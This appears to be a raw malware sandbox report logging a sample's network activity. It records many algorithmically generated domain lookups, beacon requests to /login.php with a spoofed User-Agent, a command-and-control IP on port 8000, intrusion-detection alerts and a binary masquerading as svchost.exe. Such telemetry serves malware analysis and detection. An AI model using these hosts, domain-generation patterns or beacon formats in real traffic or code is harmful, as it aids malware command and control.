Source: unknown	DNS traffic detected: query: qebyqil.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvydov.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumyliq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujyteq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymyfoj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopydum.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galyros.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvytuj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekykev.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujymel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyfog.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvybeg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupyjuv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujydag.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyxip.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonybat.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedysyp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopymyc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopygat.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyrys.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojybek.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygyvar.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexytep.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufydul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatyviw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysynur.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyquz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzylol.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojyquf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puryxag.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymytar.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymytux.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetykol.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocygyk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysynaj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedytul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekynog.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujywiv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyrov.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumyxiv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopyqim.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufycol.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymyner.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryxen.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocyqaf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumylel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyvuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyzuz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufytev.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumytol.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volykyc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volyrac.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupybul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatyfaz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysyxux.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyzez.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupyxup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymywaj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyrynad.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocyruk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykyxur.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyroh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetysal.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyhys.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyhuh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzyciq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowyrym.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purypyq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyzaw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysylej.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofypuk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujyjup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galykiz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyqis.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqynel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymysud.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puryxuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galyzeb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxywij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purybav.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufymoq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volygyf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqycyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqylyl.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumyxep.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebyvop.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvyjyr.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzywel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyvav.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupylaq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebyteg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumypyv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzymig.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujyjav.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvytan.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyfyp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvymir.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galydoz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymylij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyqob.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygysij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupyboq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvyfad.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowypek.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvyjox.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymyxex.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujycov.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyfew.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purymuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofyjuk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetynev.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxygud.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetysuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyrywax.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopydek.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqysuv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykyjad.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygyged.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyfil.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyraw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygyjuj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygymoj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygymyn.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryfox.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqypiz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvywup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganynyb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvyguj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galykes.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojypuc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocykif.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvytag.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexyqyv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopycyf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysysyx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvywav.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufyxug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedykiv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygylax.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojyzyt.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysyger.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexylal.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekylag.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvynen.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvywux.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volyquk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyqug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvyvix.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygyfex.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzydal.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysyjid.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyfes.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofyzym.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyqop.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvysur.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadydas.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvyxeq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysyfin.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volycik.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonykuk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxylux.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojydam.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufybop.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonyrot.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyrysyj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetyxiq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygytyd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyvig.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopybok.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyleq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volybec.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocybam.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumydoq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyvoz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyfyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volyjok.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqydus.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyreh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyxyp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyloq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymysan.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetyxeg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofydut.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygyxun.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojymet.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofybic.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahydoh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryvur.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufylap.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyfeg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadykos.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvylyg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekytyq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyzub.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvypul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykyfen.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvycip.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumygyp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxytex.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofyref.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebykap.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqydeb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxysun.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexyryl.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegynuv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purylev.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykylan.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonyzac.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymygyx.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowyzam.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocyquc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekynuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatyrez.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopypif.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonyket.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufygav.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganypeb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzymev.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyvew.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujylog.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxyvoj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatypub.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygygin.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatykow.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyreq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykywid.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volyjym.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygynox.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedynul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebylug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopyzuc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowyqoc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowycut.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexynyp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocykem.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojygut.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyqup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galyheh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatypas.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujybyq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxymin.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzyguv.com replaycode: Name error (3)

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49759

Source: unknown

Network traffic detected: DNS query count 1005

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C83D90 IsUserAnAdmin,IsNetworkAlive,IsUserAnAdmin,DnsFlushResolverCache,memset,lstrcpynA,lstrcpynA,StrNCatA,StrNCatA,InternetCheckConnectionA,InternetCheckConnectionA,memset,lstrcpynA,StrNCatA,InternetCheckConnectionA,

2_2_02C83D90

Source: global traffic

TCP traffic: 192.168.2.6:49759 -> 106.15.232.163:8000

Source: global traffic

DNS traffic detected: number of DNS queries: 1005

Source: Joe Sandbox View	IP Address: 3.94.10.34 3.94.10.34
Source: Joe Sandbox View	IP Address: 64.190.63.136 64.190.63.136

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 52.34.198.229:80 -> 192.168.2.6:53361
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 52.34.198.229:80 -> 192.168.2.6:53361
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.6:49809
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.6:59201

Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
